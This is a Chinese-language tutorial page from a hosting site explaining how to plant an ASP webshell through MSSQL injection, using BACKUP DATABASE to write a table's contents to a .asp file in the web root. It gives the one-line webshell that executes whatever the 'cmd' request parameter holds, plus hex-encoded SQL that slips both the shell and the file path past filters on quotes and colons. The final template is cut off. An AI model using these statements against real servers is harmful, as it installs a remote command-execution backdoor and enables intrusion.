西部数码主机 | 阿里云主机| 虚拟主机 | 服务器 | 返回乐道官网
当前位置: 主页 > 开发教程 > mysql教程 >

Mssql Backup a Shell 突破特殊字符

时间:2016-02-16 00:44来源: 作者: 点击:
1.插入数据 mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如 等。我们先mssql分析器里查询: usepubs;===使用数据哭pubs create table cmd(strimage);==

1.插入数据

mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如" '等。我们先mssql分析器里“查询”:

  1. use pubs; <===使用数据哭pubs 
  2. create table cmd (str image); <===建立个表cmd 一个属性为image的列 
  3. insert into cmd (str) values ('<%execute request("cmd")&""%>') <===插入数据为 <%execute request("cmd")&""%> 
  4. select * from cmd; <===查询输出cmd里的所有数据 

查询输出str为:

0x3C256578656375746520726571756573742822636D642229262222253E

我们不管插入str什么数据,在数据库里会自动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码:

  1. use pubs 
  2. create table cmd (str image) 
  3. insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E) 
  4. select * from cmd 

查询输出str为:

0x3C256578656375746520726571756573742822636D642229262222253E

为什么2种方法得到的结果一样,但是第2种方法里插入的数据,就没有' " &等等。

2.导出路径

常规的插入数据后导出webshell的语句为:

backup database model to disk='g:wwwtestl.asp';

显然导出路径里包涵了':等,我们照样可以使用hex编码来突破:

  1. declare @a sysname 
  2. select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370为g:wwwtestl.asp对应的hex代码 
  3. backup database pubs to disk=@a 

运行查询,可以成功导出webshell。

3.小结

结合1,2我们可以得到完整的导出webshell的sql语句格式为:

  1. use model 
  2. create table cmd (str image) 
  3. insert into cmd(str) values(0x***********) 
  4. declare @a sysname select @a=0x********** backup database pubs to  
  5.  
(责任编辑:好模板)
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
栏目列表
热点内容